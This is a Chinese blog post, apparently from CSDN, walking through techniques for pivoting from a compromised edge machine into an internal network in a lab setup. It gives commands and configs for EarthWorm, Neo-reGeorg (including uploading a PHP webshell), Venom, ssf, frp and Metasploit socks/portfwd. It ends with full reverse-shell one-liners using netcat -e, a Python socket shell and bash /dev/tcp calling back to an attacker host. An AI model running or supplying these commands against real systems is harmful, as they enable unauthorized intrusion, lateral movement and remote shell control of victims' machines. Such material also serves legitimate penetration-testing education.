奇安信技术总监熬夜总结,全网最全内网渗透姿势!

0x00 前言
在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法

0x01 环境介绍
本地环境搭建:
边缘机器:

windows 7
ip:192.168.10.15(外)
 192.168.52.143(内)
目标机器:
windows 2008R2
ip:192.168.52.138
攻击机器:
windows 2008
ip:192.168.10.3
kali:
msf5:192.168.10.14
msf6:192.168.10.11

0x02 EarthWorm
将ew_for_windows上传到边缘机器

1.正向连接
适用于目标机器拥有一个外网ip
在win7机器上执行

ew -s ssocksd -l 888

监听本机888端口。然后在2008r2机器上使用proxifier进行连接
图片
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.反向连接
适用于边缘机器无公网ip
攻击机器上执行
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
图片

对外1234端口转发到1080端口
然后边缘机器连接

ew_for_Win.exe -s rssocks -d 192.168.10.3 -e 1234

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x03 Neo-reGeorg
注:这里需要python环境,在2008R2上弄总是出错,切到物理机进行实验,原理相同
生成文件

python neoreg.py generate -k 123456

在这里插入图片描述

在neoreg_servers目录下生成了木马文件
图片

这里web机器解析php,所以我上传一个tunnel.php的马到web机器(win7)上
图片

攻击机连接

python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
0x04 Venom
攻击机器上执行

admin.exe -lport 9999

在这里插入图片描述

边缘机器(win7)执行

agent.exe -rhost 192.168.10.3 -rport 9999

图片
攻击机查看反弹成功
图片

执行命令

goto 1
socks 6666

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
0x05 ssf
1.正向连接
把certs文件夹和ssfd上传到边缘机器
边缘机器开启1333端口

ssfd.exe ‐p 1333

在这里插入图片描述
攻击机连接边缘机器的1333端口,并将数据转发给1222端口

ssfd.exe ‐D 1222 ‐p 1333 192.168.10.15

2008r2出问题,换到物理机上执行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.反向连接
攻击机本地监听1234端口,命令如下:

ssfd.exe ‐p 1234

在这里插入图片描述

边缘机器连接1234端口,并将数据转发到12345端口,命令如下:

ssf.exe ‐F 12345 ‐p 1234 192.168.10.3

此处没有实验成功,还是写下步骤
本地socks代理连接127.0.0.1 12345端口
图片
0x06 frp
攻击机设置frps.ini

[common]
bind_port = 6666

运行如下命令:

frps.exe -c frps.ini

图片
在边缘机器设置frpc.ini

[common]
server_addr = 192.168.10.3
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5

执行如下命令:
frpc.exe ‐c frpc.ini
图片

监听本地7777端口
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
0x07 msf
在msf6下只剩下了socks_proxy这个模块
图片

还是先修改proxychains4.conf这个配置文件
图片

添加路由使用模块
图片

这里注意一下,我们在运行之前先show options一下,发现默认是socks5
图片

代理运行如果想使用socks4a代理,添加如下语句即可

set version 4a

图片

修改浏览器配置
图片

成功访问内网资源
图片

拓展:portfwd端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下

portfwd add -l 3389 -r 192.168.52.138 -p 3389

然后我们访问本地3389

0x08 nc
1.正向连接
需要目标有公网ip
目标机器

nc -lvp 4444 -e /bin/sh linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe windows

攻击机器

nc <目标机器ip> 4444

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.反向连接
攻击机器监听本地1234端口

nc -lvp 1234

图片

目标机器执行

nc <ip> 1234 -e /bin/sh linux
nc <ip> 1234 -e cmd.exe windows

图片
在这里插入图片描述

在一般情况下目标机器是没有nc的,这里可以用其他工具或者编程语言来代替nc

python反向shell

攻击机器:

nc -lvp 2222

目标机器:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.10.3',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

bash反向shell
攻击机器:

nc -lvp 2222

目标机器:

bash -i >& /dev/tcp/192.168.10.3/2222 0>&1

最后希望大家可以给我一个三连也算是对我的一个小小的支持,我们都是CSDN一家人啊

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值